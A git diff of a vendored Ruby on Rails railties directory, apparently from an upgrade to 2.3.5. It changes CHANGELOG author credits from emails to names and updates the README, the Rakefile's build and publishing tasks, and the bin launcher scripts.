+* Add plugin library directories to the load path after the lib directory so that libraries in the lib directory get precedence. #2910. [James Adam]
 
 * Make help for the console command more explicit about how to specify the desired environment in which to run the console. #2911. [anonymous]
 
-* PostgreSQL: the purge_test_database Rake task shouldn't explicitly specify the template0 template when creating a fresh test database.  #2964 [dreamer3@gmail.com]
+* PostgreSQL: the purge_test_database Rake task shouldn't explicitly specify the template0 template when creating a fresh test database.  #2964 [Dreamer3]
 
 * Introducing the session_migration generator.  Creates an add_session_table migration.  Allows generator to specify migrations directory.  #2958, #2960 [Rick Olson]
 
@@ -1251,19 +1352,19 @@ References #6031. [Nicholas Seckar]
 
 * Make sure that legacy db tasks also reference :database for SQLite #2830 [kazuhiko@fdiary.net]
 
-* Pass __FILE__ when evaluating plugins' init.rb.  #2817 [james.adam@gmail.com]
+* Pass __FILE__ when evaluating plugins' init.rb.  #2817 [James Adam]
 
 * Better svn status matching for generators.  #2814 [François Beausoleil <francois.beausoleil@gmail.com>, Blair Zajac <blair@orcaware.com>]
 
-* Don't reload routes until plugins have been loaded so they have a chance to extend the routing capabilities [DHH]
+* Don't reload routes until plugins have been loaded so they have a chance to extend the routing capabilities [David Heinemeier Hansson]
 
 * Don't detach or fork for script/server tailing [Nicholas Seckar]
 
-* Changed all script/* to use #!/usr/bin/env ruby instead of hard-coded Ruby path. public/dispatcher.* still uses the hard-coded path  for compatibility with web servers that don't have Ruby in path [DHH]
+* Changed all script/* to use #!/usr/bin/env ruby instead of hard-coded Ruby path. public/dispatcher.* still uses the hard-coded path  for compatibility with web servers that don't have Ruby in path [David Heinemeier Hansson]
 
-* Force RAILS_ENV to be "test" when running tests, so that ENV["RAILS_ENV"] = "production" in config/environment.rb doesn't wreck havok [DHH] #2660
+* Force RAILS_ENV to be "test" when running tests, so that ENV["RAILS_ENV"] = "production" in config/environment.rb doesn't wreck havok [David Heinemeier Hansson] #2660
 
-* Correct versioning in :freeze_gems Rake task.  #2778 [jakob@mentalized.net, Jeremy Kemper]
+* Correct versioning in :freeze_gems Rake task.  #2778 [Jakob Skjerning, Jeremy Kemper]
 
 * Added an omnipresent RailsInfoController with a properties action that delivers an HTML rendering of Rails::Info (but only when local_request? is true). Added a new default index.html which fetches this with Ajax. [Sam Stephenson]
 
@@ -1278,7 +1379,7 @@ References #6031. [Nicholas Seckar]
 
 * Use require_library_or_gem 'fcgi' in script/server [Sam Stephenson]
 
-* Added default lighttpd config in config/lighttpd.conf and added a default runner for lighttpd in script/server (works like script/server, but using lighttpd and FastCGI). It will use lighttpd if available, otherwise WEBrick. You can force either or using 'script/server lighttpd' or 'script/server webrick' [DHH]
+* Added default lighttpd config in config/lighttpd.conf and added a default runner for lighttpd in script/server (works like script/server, but using lighttpd and FastCGI). It will use lighttpd if available, otherwise WEBrick. You can force either or using 'script/server lighttpd' or 'script/server webrick' [David Heinemeier Hansson]
 
 * New configuration option config.plugin_paths which may be a single path like the default 'vendor/plugins' or an array of paths: ['vendor/plugins', 'lib/plugins'].  [Jeremy Kemper]
 
@@ -1304,7 +1405,7 @@ References #6031. [Nicholas Seckar]
 
 * Make fcgi handler respond to TERM signals with an explicit exit [Jamis Buck]
 
-* Added demonstration of fixture use to the test case generated by the model generator [DHH]
+* Added demonstration of fixture use to the test case generated by the model generator [David Heinemeier Hansson]
 
 * If specified, pass PostgreSQL client character encoding to createdb.  #2703 [Kazuhiko <kazuhiko@fdiary.net>]
 
@@ -1324,7 +1425,7 @@ References #6031. [Nicholas Seckar]
 
 * The PostgreSQL :db_structure_dump Rake task limits its dump to the schema search path in database.yml.  [Anatol Pomozov <anatol.pomozov@gmail.com>]
 
-* Add task to generate rdoc for all installed plugins. [Marcel Molina]
+* Add task to generate rdoc for all installed plugins. [Marcel Molina Jr.]
 
 * Update script.aculo.us to V1.5_rc4 [Thomas Fuchs]
 
@@ -1332,15 +1433,15 @@ References #6031. [Nicholas Seckar]
 
 * Migrations may be destroyed: script/destroy migration foo.  #2635 [Charles M. Gerungan <charles.gerungan@gmail.com>, Jamis Buck, Jeremy Kemper]
 
-* Added that plugins can carry generators and that generator stub files can be created along with new plugins using script/generate plugin <name> --with-generator [DHH]
+* Added that plugins can carry generators and that generator stub files can be created along with new plugins using script/generate plugin <name> --with-generator [David Heinemeier Hansson]
 
-* Removed app/apis as a default empty dir since its automatically created when using script/generate web_service [DHH]
+* Removed app/apis as a default empty dir since its automatically created when using script/generate web_service [David Heinemeier Hansson]
 
 * Added script/plugin to manage plugins (install, remove, list, etc) [Ryan Tomayko]
 
-* Added test_plugins task: Run the plugin tests in vendor/plugins/**/test (or specify with PLUGIN=name) [DHH]
+* Added test_plugins task: Run the plugin tests in vendor/plugins/**/test (or specify with PLUGIN=name) [David Heinemeier Hansson]
 
-* Added plugin generator to create a stub structure for a new plugin in vendor/plugins (see "script/generate plugin" for help) [DHH]
+* Added plugin generator to create a stub structure for a new plugin in vendor/plugins (see "script/generate plugin" for help) [David Heinemeier Hansson]
 
 * Fixed scaffold generator when started with only 1 parameter #2609 [self@mattmower.com]
 
@@ -1371,7 +1472,7 @@ References #6031. [Nicholas Seckar]
 
 *0.14.0 (RC1)* (October 16th, 2005)
 
-* Moved generator folder from RAILS_ROOT/generators to RAILS_ROOT/lib/generators [Tobias Luetke]
+* Moved generator folder from RAILS_ROOT/generators to RAILS_ROOT/lib/generators [Tobias Lütke]
 
 * Fix rake dev and related commands [Nicholas Seckar]
 
@@ -1382,7 +1483,7 @@ References #6031. [Nicholas Seckar]
 
 * Added Rails framework freezing tasks: freeze_gems (freeze to current gems), freeze_edge (freeze to Rails SVN trunk), unfreeze_rails (float with newest gems on system)
 
-* Added update_javascripts task which will fetch all the latest js files from your current rails install. Use after updating rails. [Tobias Luetke]
+* Added update_javascripts task which will fetch all the latest js files from your current rails install. Use after updating rails. [Tobias Lütke]
 
 * Added cleaning of RAILS_ROOT to useless elements such as '../non-dot-dot/'. Provides cleaner backtraces and error messages. [Nicholas Seckar]
 
@@ -1408,7 +1509,7 @@ References #6031. [Nicholas Seckar]
 
 * Make the migration generator only check files ending in *.rb when calculating the next file name #2317 [Chad Fowler]
 
-* Added prevention of duplicate migrations from the generator #2240 [fbeausoleil@ftml.net]
+* Added prevention of duplicate migrations from the generator #2240 [François Beausoleil]
 
 * Add db_schema_dump and db_schema_import rake tasks to work with the new ActiveRecord::SchemaDumper (for dumping a schema to and reading a schema from a ruby file).
 
@@ -1424,7 +1525,7 @@ References #6031. [Nicholas Seckar]
 
 * Added -m/--mime-types option to the WEBrick server, so you can specify a Apache-style mime.types file to load #2059 [ask@develooper.com]
 
-* Added -c/--svn option to the generator that'll add new files and remove destroyed files using svn add/revert/remove as appropriate #2064 [kevin.clark@gmail.com]
+* Added -c/--svn option to the generator that'll add new files and remove destroyed files using svn add/revert/remove as appropriate #2064 [Kevin Clark]
 
 * Added -c/--charset option to WEBrick server, so you can specify a default charset (which without changes is UTF-8) #2084 [wejn@box.cz]
 
@@ -1456,9 +1557,9 @@ References #6031. [Nicholas Seckar]
 
 * Added convenience controls for FCGI processes (especially when managed remotely): spinner, spawner, and reaper. They reside in script/process. More details can be had by calling them with -h/--help.
 
-* Added load_fixtures task to the Rakefile, which will load all the fixtures into the database for the current environment #1791 [Marcel Molina]
+* Added load_fixtures task to the Rakefile, which will load all the fixtures into the database for the current environment #1791 [Marcel Molina Jr.]
 
-* Added an empty robots.txt to public/, so that web servers asking for it won't trigger a dynamic call, like favicon.ico #1738 [michael@schubert]
+* Added an empty robots.txt to public/, so that web servers asking for it won't trigger a dynamic call, like favicon.ico #1738 [Michael Schubert]
 
 * Dropped the 'immediate close-down' of FCGI processes since it didn't work consistently and produced bad responses when it didn't. So now a TERM ensures exit after the next request (just as if the process is handling a request when it receives the signal). This means that you'll have to 'nudge' all FCGI processes with a request in order to ensure that they have all reloaded. This can be done by something like ./script/process/repear --nudge 'http://www.myapp.com' --instances 10, which will load the myapp site 10 times (and thus hit all of the 10 FCGI processes once, enough to shut down).
 
@@ -1469,13 +1570,13 @@ References #6031. [Nicholas Seckar]
 
 * Fixed that each request with the WEBrick adapter would open a new database connection #1685 [Sam Stephenson]
 
-* Added support for SQL Server in the database rake tasks #1652 [ken.barker@gmail.com] Note: osql and scptxfr may need to be installed on your development environment. This involves getting the .exes and a .rll (scptxfr) from a production SQL Server (not developer level SQL Server). Add their location to your Environment PATH and you are all set.
+* Added support for SQL Server in the database rake tasks #1652 [Ken Barker] Note: osql and scptxfr may need to be installed on your development environment. This involves getting the .exes and a .rll (scptxfr) from a production SQL Server (not developer level SQL Server). Add their location to your Environment PATH and you are all set.
 
 * Added a VERSION parameter to the migrate task that allows you to do "rake migrate VERSION=34" to migrate to the 34th version traveling up or down depending on the current version
 
-* Extend Ruby version check to include RUBY_RELEASE_DATE >= '2005-12-25', the final Ruby 1.8.2 release #1674 [court3nay@gmail.com]
+* Extend Ruby version check to include RUBY_RELEASE_DATE >= '2005-12-25', the final Ruby 1.8.2 release #1674 [court3nay]
 
-* Improved documentation for environment config files #1625 [court3nay@gmail.com]
+* Improved documentation for environment config files #1625 [court3nay]
 
 
 *0.13.0* (6 July, 2005)
@@ -1486,19 +1587,19 @@ References #6031. [Nicholas Seckar]
 
 * Added "migrate" as rake task to execute all the pending migrations from db/migrate
 
-* Fixed that model generator would make fixtures plural, even if ActiveRecord::Base.pluralize_table_names was false #1185 [Marcel Molina]
+* Fixed that model generator would make fixtures plural, even if ActiveRecord::Base.pluralize_table_names was false #1185 [Marcel Molina Jr.]
 
 * Added a DOCTYPE of HTML transitional to the HTML files generated by Rails #1124 [Michael Koziarski]
 
 * SIGTERM also gracefully exits dispatch.fcgi.  Ignore SIGUSR1 on Windows.
 
-* Add the option to manually manage garbage collection in the FastCGI dispatcher.  Set the number of requests between GC runs in your public/dispatch.fcgi [skaes@web.de]
+* Add the option to manually manage garbage collection in the FastCGI dispatcher.  Set the number of requests between GC runs in your public/dispatch.fcgi [Stefan Kaes]
 
 * Allow dynamic application reloading for dispatch.fcgi processes by sending a SIGHUP. If the process is currently handling a request, the request will be allowed to complete first. This allows production fcgi's to be reloaded without having to restart them.
 
 * RailsFCGIHandler (dispatch.fcgi) no longer tries to explicitly flush $stdout (CgiProcess#out always calls flush)
 
-* Fixed rakefile actions against PostgreSQL when the password is all numeric #1462 [michael@schubert.cx]
+* Fixed rakefile actions against PostgreSQL when the password is all numeric #1462 [Michael Schubert]
 
 * ActionMailer::Base subclasses are reloaded with the other rails components #1262
 
@@ -1512,7 +1613,7 @@ References #6031. [Nicholas Seckar]
 
 * Fixed Webrick to escape + characters in URL's the same way that lighttpd and apache do #1397 [Nicholas Seckar]
 
-* Added -e/--environment option to script/runner #1408 [fbeausoleil@ftml.net]
+* Added -e/--environment option to script/runner #1408 [François Beausoleil]
 
 * Modernize the scaffold generator to use the simplified render and test methods and to change style from @params["id"] to params[:id].  #1367
 
@@ -1553,7 +1654,7 @@ References #6031. [Nicholas Seckar]
 
 * Added lazy typing for generate, such that ./script/generate cn == ./script/generate controller and the likes #1051 [k@v2studio.com]
 
-* Fixed that ownership is brought over in pg_dump during tests for PostgreSQL #1060 [pburleson@gmail.com]
+* Fixed that ownership is brought over in pg_dump during tests for PostgreSQL #1060 [pburleson]
 
 * Upgraded to Active Record 1.10.0, Action Pack 1.8.0, Action Mailer 0.9.0, Action Web Service 0.7.0, Active Support 1.0.4
 
@@ -1573,11 +1674,11 @@ References #6031. [Nicholas Seckar]
 
 * Added additional error handling to the FastCGI dispatcher to catch even errors taking down the entire process
 
-* Improved the generated scaffold code a lot to take advantage of recent Rails developments #882 [Tobias Luetke]
+* Improved the generated scaffold code a lot to take advantage of recent Rails developments #882 [Tobias Lütke]
 
 * Combined the script/environment.rb used for gems and regular files version. If vendor/rails/* has all the frameworks, then files version is used, otherwise gems #878 [Nicholas Seckar]
 
-* Changed .htaccess to allow dispatch.* to be called from a sub-directory as part of the push with Action Pack to make Rails work on non-vhost setups #826 [Nicholas Seckar/Tobias Luetke]
+* Changed .htaccess to allow dispatch.* to be called from a sub-directory as part of the push with Action Pack to make Rails work on non-vhost setups #826 [Nicholas Seckar/Tobias Lütke]
 
 * Added script/runner which can be used to run code inside the environment by eval'ing the first parameter. Examples:
     
@@ -1601,9 +1702,9 @@ References #6031. [Nicholas Seckar]
 
 *0.10.1* (7th March, 2005)
 
-* Fixed rake stats to ignore editor backup files like model.rb~ #791 [skanthak]
+* Fixed rake stats to ignore editor backup files like model.rb~ #791 [Sebastian Kanthak]
 
-* Added exception shallowing if the DRb server can't be started (not worth making a fuss about to distract new users) #779 [Tobias Luetke]
+* Added exception shallowing if the DRb server can't be started (not worth making a fuss about to distract new users) #779 [Tobias Lütke]
 
 * Added an empty favicon.ico file to the public directory of new applications (so the logs are not spammed by its absence)
 
@@ -1636,7 +1737,7 @@ References #6031. [Nicholas Seckar]
 
 *0.10.0* (24th February, 2005)
 
-* Changed default IP binding for WEBrick from 127.0.0.1 to 0.0.0.0 so that the server is accessible both locally and remotely #696 [Marcel]
+* Changed default IP binding for WEBrick from 127.0.0.1 to 0.0.0.0 so that the server is accessible both locally and remotely #696 [Marcel Molina Jr.]
 
 * Fixed that script/server -d was broken so daemon mode couldn't be used #687 [Nicholas Seckar]
 
@@ -1703,7 +1804,7 @@ References #6031. [Nicholas Seckar]
 
 *0.9.4.1* (January 18th, 2005)
 
-* Added 5-second timeout to WordNet alternatives on creating reserved-word models #501 [Marcel Molina]
+* Added 5-second timeout to WordNet alternatives on creating reserved-word models #501 [Marcel Molina Jr.]
 
 * Fixed binding of caller #496 [Alexey]
 
@@ -1712,22 +1813,22 @@ References #6031. [Nicholas Seckar]
 
 *0.9.4* (January 17th, 2005)
 
-* Added that ApplicationController will catch a ControllerNotFound exception if someone attempts to access a url pointing to an unexisting controller [Tobias Luetke]
+* Added that ApplicationController will catch a ControllerNotFound exception if someone attempts to access a url pointing to an unexisting controller [Tobias Lütke]
 
 * Flipped code-to-test ratio around to be more readable #468 [Scott Baron]
 
 * Fixed log file permissions to be 666 instead of 777 (so they're not executable) #471 [Lucas Carlson]
 
-* Fixed that auto reloading would some times not work or would reload the models twice #475 [Tobias Luetke]
+* Fixed that auto reloading would some times not work or would reload the models twice #475 [Tobias Lütke]
 
 * Added rewrite rules to deal with caching to public/.htaccess
 
 * Added the option to specify a controller name to "generate scaffold" and made the default controller name the plural form of the model.
 
 * Added that rake clone_structure_to_test, db_structure_dump, and purge_test_database tasks now pick up the source database to use from
-  RAILS_ENV instead of just forcing development #424 [Tobias Luetke]
+  RAILS_ENV instead of just forcing development #424 [Tobias Lütke]
 
-* Fixed script/console to work with Windows (that requires the use of irb.bat) #418 [octopod]
+* Fixed script/console to work with Windows (that requires the use of irb.bat) #418 [Chris McGrath]
 
 * Fixed WEBrick servlet slowdown over time by restricting the load path reloading to mod_ruby
 
diff --git a/vendor/rails/railties/MIT-LICENSE b/vendor/rails/railties/MIT-LICENSE
index 93be57f6..e6df4877 100644
--- a/vendor/rails/railties/MIT-LICENSE
+++ b/vendor/rails/railties/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2008 David Heinemeier Hansson
+Copyright (c) 2004-2009 David Heinemeier Hansson
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/vendor/rails/railties/README b/vendor/rails/railties/README
index 2af0fb11..37ec8ea2 100644
--- a/vendor/rails/railties/README
+++ b/vendor/rails/railties/README
@@ -36,32 +36,19 @@ link:files/vendor/rails/actionpack/README.html.
 
 == Web Servers
 
-By default, Rails will try to use Mongrel and lighttpd if they are installed, otherwise
-Rails will use WEBrick, the webserver that ships with Ruby. When you run script/server,
-Rails will check if Mongrel exists, then lighttpd and finally fall back to WEBrick. This ensures
-that you can always get up and running quickly.
+By default, Rails will try to use Mongrel if it's are installed when started with script/server, otherwise Rails will use WEBrick, the webserver that ships with Ruby. But you can also use Rails
+with a variety of other web servers.
 
 Mongrel is a Ruby-based webserver with a C component (which requires compilation) that is
 suitable for development and deployment of Rails applications. If you have Ruby Gems installed,
 getting up and running with mongrel is as easy as: <tt>gem install mongrel</tt>.
 More info at: http://mongrel.rubyforge.org
 
-If Mongrel is not installed, Rails will look for lighttpd. It's considerably faster than
-Mongrel and WEBrick and also suited for production use, but requires additional
-installation and currently only works well on OS X/Unix (Windows users are encouraged
-to start with Mongrel). We recommend version 1.4.11 and higher. You can download it from
-http://www.lighttpd.net.
+Say other Ruby web servers like Thin and Ebb or regular web servers like Apache or LiteSpeed or
+Lighttpd or IIS. The Ruby web servers are run through Rack and the latter can either be setup to use
+FCGI or proxy to a pack of Mongrels/Thin/Ebb servers.
 
-And finally, if neither Mongrel or lighttpd are installed, Rails will use the built-in Ruby
-web server, WEBrick. WEBrick is a small Ruby web server suitable for development, but not
-for production.
-
-But of course its also possible to run Rails on any platform that supports FCGI.
-Apache, LiteSpeed, IIS are just a few. For more information on FCGI,
-please visit: http://wiki.rubyonrails.com/rails/pages/FastCGI
-
-
-== Apache .htaccess example
+== Apache .htaccess example for FCGI/CGI
 
 # General Apache options
 AddHandler fastcgi-script .fcgi
diff --git a/vendor/rails/railties/Rakefile b/vendor/rails/railties/Rakefile
index 7113504d..bf88f338 100644
--- a/vendor/rails/railties/Rakefile
+++ b/vendor/rails/railties/Rakefile
@@ -2,7 +2,6 @@ require 'rake'
 require 'rake/testtask'
 require 'rake/rdoctask'
 require 'rake/gempackagetask'
-require 'rake/contrib/rubyforgepublisher'
 
 require 'date'
 require 'rbconfig'
@@ -28,7 +27,8 @@ task :default => :test
 ## we can see the failures
 task :test do 
   Dir['test/**/*_test.rb'].all? do |file|
-    system("ruby -Itest #{file}")
+    ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME'))
+    system(ruby, '-Itest', file)
   end or raise "Failures"
 end
 
@@ -45,7 +45,6 @@ BASE_DIRS = %w(
   config/environments
   config/initializers
   config/locales
-  components
   db
   doc
   log
@@ -54,7 +53,6 @@ BASE_DIRS = %w(
   public
   script
   script/performance
-  script/process
   test
   vendor
   vendor/plugins
@@ -72,7 +70,7 @@ LOG_FILES    = %w( server.log development.log test.log production.log )
 HTML_FILES   = %w( 422.html 404.html 500.html index.html robots.txt favicon.ico images/rails.png
                    javascripts/prototype.js javascripts/application.js
                    javascripts/effects.js javascripts/dragdrop.js javascripts/controls.js )
-BIN_FILES    = %w( about console destroy generate performance/benchmarker performance/profiler process/reaper process/spawner process/inspector runner server plugin )
+BIN_FILES    = %w( about console destroy generate performance/benchmarker performance/profiler runner server plugin )
 
 VENDOR_LIBS = %w( actionpack activerecord actionmailer activesupport activeresource railties )
 
@@ -175,9 +173,6 @@ task :copy_dispatches do
 
   copy_with_rewritten_ruby_path("dispatches/dispatch.fcgi", "#{PKG_DESTINATION}/public/dispatch.fcgi")
   chmod 0755, "#{PKG_DESTINATION}/public/dispatch.fcgi"
-
-  # copy_with_rewritten_ruby_path("dispatches/gateway.cgi", "#{PKG_DESTINATION}/public/gateway.cgi")
-  # chmod 0755, "#{PKG_DESTINATION}/public/gateway.cgi"
 end
 
 task :copy_html_files do
@@ -185,7 +180,7 @@ task :copy_html_files do
 end
 
 task :copy_application do
-  cp "helpers/application.rb", "#{PKG_DESTINATION}/app/controllers/application.rb"
+  cp "helpers/application_controller.rb", "#{PKG_DESTINATION}/app/controllers/application_controller.rb"
   cp "helpers/application_helper.rb", "#{PKG_DESTINATION}/app/helpers/application_helper.rb"
 end
 
@@ -197,16 +192,21 @@ task :copy_configs do
   
   cp "configs/routes.rb", "#{PKG_DESTINATION}/config/routes.rb"
 
-  cp "configs/initializers/inflections.rb", "#{PKG_DESTINATION}/config/initializers/inflections.rb"
-  cp "configs/initializers/mime_types.rb",  "#{PKG_DESTINATION}/config/initializers/mime_types.rb"
+  cp "configs/initializers/backtrace_silencers.rb", "#{PKG_DESTINATION}/config/initializers/backtrace_silencers.rb"
+  cp "configs/initializers/inflections.rb",         "#{PKG_DESTINATION}/config/initializers/inflections.rb"
+  cp "configs/initializers/mime_types.rb",          "#{PKG_DESTINATION}/config/initializers/mime_types.rb"
+  cp "configs/initializers/new_rails_defaults.rb",  "#{PKG_DESTINATION}/config/initializers/new_rails_defaults.rb"
 
   cp "configs/locales/en.yml", "#{PKG_DESTINATION}/config/locales/en.yml"
 
+  cp "configs/seeds.rb", "#{PKG_DESTINATION}/db/seeds.rb"
+
   cp "environments/boot.rb",        "#{PKG_DESTINATION}/config/boot.rb"
-  cp "environments/environment.rb", "#{PKG_DESTINATION}/config/environment.rb"
+  File.open("#{PKG_DESTINATION}/config/environment.rb", 'w') {|f| f.write ERB.new(IO.read("environments/environment.rb"), nil, '-').result(binding)}
   cp "environments/production.rb",  "#{PKG_DESTINATION}/config/environments/production.rb"
   cp "environments/development.rb", "#{PKG_DESTINATION}/config/environments/development.rb"
   cp "environments/test.rb",        "#{PKG_DESTINATION}/config/environments/test.rb"
+
 end
 
 task :copy_binfiles do
@@ -247,6 +247,11 @@ def copy_with_rewritten_ruby_path(src_file, dest_file)
   end
 end
 
+desc 'Generate guides (for authors), use ONLY=foo to process just "foo.textile"'
+task :generate_guides do
+  ruby "guides/rails_guides.rb"
+end
+
 
 # Generate documentation ------------------------------------------------------------------
 
@@ -275,59 +280,6 @@ Rake::RDocTask.new { |rdoc|
   rdoc.rdoc_files.include('lib/commands/**/*.rb')
 }
 
-desc "Generate guides for the framework"
-task :guides do
-  require 'mizuho/generator'
-
-  source = "doc/guides/source/"
-  html   = "doc/guides/html/"
-  FileUtils.rm_r(html) if File.directory?(html)
-  FileUtils.mkdir(html)
-
-  template = File.expand_path("doc/guides/source/templates/guides.html.erb")
-
-  ignore = ['..', 'icons', 'images', 'templates', 'stylesheets']
-  ignore << 'active_record_basics.txt'
-
-  indexless = ['index.txt', 'authors.txt']
-
-  # Traverse all entries in doc/guides/source/
-  Dir.entries(source).each do |entry|
-    next if ignore.include?(entry)
-
-    if File.directory?(File.join(source, entry))
-      # If the current entry is a directory, then we will want to compile
-      # the 'index.txt' file inside this directory.
-      if entry == '.'
-        input  = File.join(source, 'index.txt')
-        output = File.join(html, "index.html")
-      else
-        input  = File.join(source, entry, 'index.txt')
-        output = File.join(html, "#{entry}.html")
-      end
-    else
-      # If the current entry is a file, then we will want to compile this file.
-      input  = File.join(source, entry)
-      output = File.join(html, entry).sub(/\.txt$/, '.html')
-    end
-
-    begin
-      puts "GENERATING => #{output}"
-      ENV['MANUALSONRAILS_TOC'] = 'no' if indexless.include?(entry)
-      Mizuho::Generator.new(input, :output => output, :template => template).start
-    rescue Mizuho::GenerationError
-      STDERR.puts "*** ERROR"
-      exit 2
-    ensure
-      ENV.delete('MANUALSONRAILS_TOC')
-    end
-  end
-
-  # Copy images and css files to html directory. These dirs are in .gitigore and shouldn't be source controlled.
-  FileUtils.cp_r File.join(source, 'images'), File.join(html, 'images')
-  FileUtils.cp_r File.join(source, 'stylesheets'), File.join(html, 'stylesheets')
-end
-
 # Generate GEM ----------------------------------------------------------------------------
 
 task :copy_gem_environment do
@@ -344,6 +296,7 @@ PKG_FILES = FileList[
   'doc/**/*', 
   'dispatches/**/*', 
   'environments/**/*', 
+  'guides/**/*', 
   'helpers/**/*', 
   'generators/**/*', 
   'html/**/*', 
@@ -361,16 +314,16 @@ spec = Gem::Specification.new do |s|
   EOF
 
   s.add_dependency('rake', '>= 0.8.3')
-  s.add_dependency('activesupport',    '= 2.2.2' + PKG_BUILD)
-  s.add_dependency('activerecord',     '= 2.2.2' + PKG_BUILD)
-  s.add_dependency('actionpack',       '= 2.2.2' + PKG_BUILD)
-  s.add_dependency('actionmailer',     '= 2.2.2' + PKG_BUILD)
-  s.add_dependency('activeresource',   '= 2.2.2' + PKG_BUILD)
+  s.add_dependency('activesupport',    '= 2.3.5' + PKG_BUILD)
+  s.add_dependency('activerecord',     '= 2.3.5' + PKG_BUILD)
+  s.add_dependency('actionpack',       '= 2.3.5' + PKG_BUILD)
+  s.add_dependency('actionmailer',     '= 2.3.5' + PKG_BUILD)
+  s.add_dependency('activeresource',   '= 2.3.5' + PKG_BUILD)
 
   s.rdoc_options << '--exclude' << '.'
   s.has_rdoc = false
 
-  s.files = PKG_FILES.to_a.delete_if {|f| f.include?('.svn')}
+  s.files = PKG_FILES.to_a.delete_if {|f| f =~ %r{\.svn|guides/output}}
   s.require_path = 'lib'
   s.bindir = "bin"                               # Use these for applications.
   s.executables = ["rails"]
@@ -394,13 +347,17 @@ task :pgem => [:gem] do
   `ssh gems.rubyonrails.org '/u/sites/gems/gemupdate.sh'`
 end
 
-desc "Publish the API documentation"
-task :pdoc => :rdoc do
-  # railties API isn't separately published
+desc "Publish the guides"
+task :pguides => :generate_guides do
+  mkdir_p 'pkg'
+  `tar -czf pkg/guides.gz guides/output`
+  Rake::SshFilePublisher.new("web.rubyonrails.org", "/u/sites/guides.rubyonrails.org/public", "pkg", "guides.gz").upload
+  `ssh web.rubyonrails.org 'cd /u/sites/guides.rubyonrails.org/public/ && tar -xvzf guides.gz && mv guides/output/* . && rm -rf guides*'`
 end
 
 desc "Publish the release files to RubyForge."
 task :release => [ :package ] do
+  require 'rake/contrib/rubyforgepublisher'
   require 'rubyforge'
 
   packages = %w( gem ).collect{ |ext| "pkg/#{PKG_NAME}-#{PKG_VERSION}.#{ext}" }
diff --git a/vendor/rails/railties/bin/about b/vendor/rails/railties/bin/about
index ed8deb0d..1eeb6eb9 100755
--- a/vendor/rails/railties/bin/about
+++ b/vendor/rails/railties/bin/about
@@ -1,4 +1,4 @@
 #!/usr/bin/env ruby
-require File.dirname(__FILE__) + '/../config/boot'
+require File.expand_path('../../config/boot',  __FILE__)
 $LOAD_PATH.unshift "#{RAILTIES_PATH}/builtin/rails_info"
-require 'commands/about'
\ No newline at end of file
+require 'commands/about'
diff --git a/vendor/rails/railties/bin/console b/vendor/rails/railties/bin/console
index 498077ab..235a1f27 100755
--- a/vendor/rails/railties/bin/console
+++ b/vendor/rails/railties/bin/console
@@ -1,3 +1,3 @@
 #!/usr/bin/env ruby
-require File.dirname(__FILE__) + '/../config/boot'
+require File.expand_path('../../config/boot',  __FILE__)
 require 'commands/console'
diff --git a/vendor/rails/railties/bin/dbconsole b/vendor/rails/railties/bin/dbconsole
index caa60ce8..83c8436a 100755
--- a/vendor/rails/railties/bin/dbconsole
+++ b/vendor/rails/railties/bin/dbconsole
@@ -1,3 +1,3 @@
 #!/usr/bin/env ruby
-require File.dirname(__FILE__) + '/../config/boot'
+require File.expand_path('../../config/boot',  __FILE__)
 require 'commands/dbconsole'
diff --git a/vendor/rails/railties/bin/destroy b/vendor/rails/railties/bin/destroy
index a4df765a..88d295f7 100755
--- a/vendor/rails/railties/bin/destroy
+++ b/vendor/rails/railties/bin/destroy
@@ -1,3 +1,3 @@
 #!/usr/bin/env ruby
-require File.dirname(__FILE__) + '/../config/boot'
+require File.expand_path('../../config/boot',  __FILE__)
 require 'commands/destroy'
diff --git a/vendor/rails/railties/bin/generate b/vendor/rails/railties/bin/generate
index 173a9f14..62a8a4c0 100755
--- a/vendor/rails/railties/bin/generate
+++ b/vendor/rails/railties/bin/generate
@@ -1,3 +1,3 @@
 #!/usr/bin/env ruby
-require File.dirname(__FILE__) + '/../config/boot'
+require File.expand_path('../../config/boot',  __FILE__)
 require 'commands/generate'
diff --git a/vendor/rails/railties/bin/performance/benchmarker b/vendor/rails/railties/bin/performance/benchmarker
index c842d35d..3bff809f 100755
--- a/vendor/rails/railties/bin/performance/benchmarker
+++ b/vendor/rails/railties/bin/performance/benchmarker
@@ -1,3 +1,3 @@
 #!/usr/bin/env ruby
-require File.dirname(__FILE__) + '/../../config/boot'
+require File.expand_path('../../../config/boot',  __FILE__)
 require 'commands/performance/benchmarker'
diff --git a/vendor/rails/railties/bin/performance/profiler b/vendor/rails/railties/bin/performance/profiler
index d855ac8b..07640575 100755
--- a/vendor/rails/railties/bin/performance/profiler
+++ b/vendor/rails/railties/bin/performance/profiler
@@ -1,3 +1,3 @@
 #!/usr/bin/env ruby
-require File.dirname(__FILE__) + '/../../config/boot'
+require File.expand_path('../../../config/boot',  __FILE__)
 require 'commands/performance/profiler'
diff --git a/vendor/rails/railties/bin/performance/request b/vendor/rails/railties/bin/performance/request
deleted file mode 100755
index ae3f38c7..00000000
--- a/vendor/rails/railties/bin/performance/request
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/usr/bin/env ruby
-require File.dirname(__FILE__) + '/../../config/boot'
-require 'commands/performance/request'
diff --git a/vendor/rails/railties/bin/plugin b/vendor/rails/railties/bin/plugin
index 87cd2070..b82201fa 100755
--- a/vendor/rails/railties/bin/plugin
+++ b/vendor/rails/railties/bin/plugin
@@ -1,3 +1,3 @@
 #!/usr/bin/env ruby
-require File.dirname(__FILE__) + '/../config/boot'
+require File.expand_path('../../config/boot',  __FILE__)
 require 'commands/plugin'
diff --git a/vendor/rails/railties/bin/process/inspector b/vendor/rails/railties/bin/process/inspector
deleted file mode 100755
index bf25ad86..00000000
--- a/vendor/rails/railties/bin/process/inspector
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/usr/bin/env ruby
-require File.dirname(__FILE__) + '/../../config/boot'
-require 'commands/process/inspector'
diff --git a/vendor/rails/railties/bin/process/reaper b/vendor/rails/railties/bin/process/reaper
deleted file mode 100755
index c77f0453..00000000
--- a/vendor/rails/railties/bin/process/reaper
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/usr/bin/env ruby
-require File.dirname(__FILE__) + '/../../config/boot'
-require 'commands/process/reaper'
diff --git a/vendor/rails/railties/bin/process/spawner b/vendor/rails/railties/bin/process/spawner
deleted file mode 100755
index 7118f398..00000000
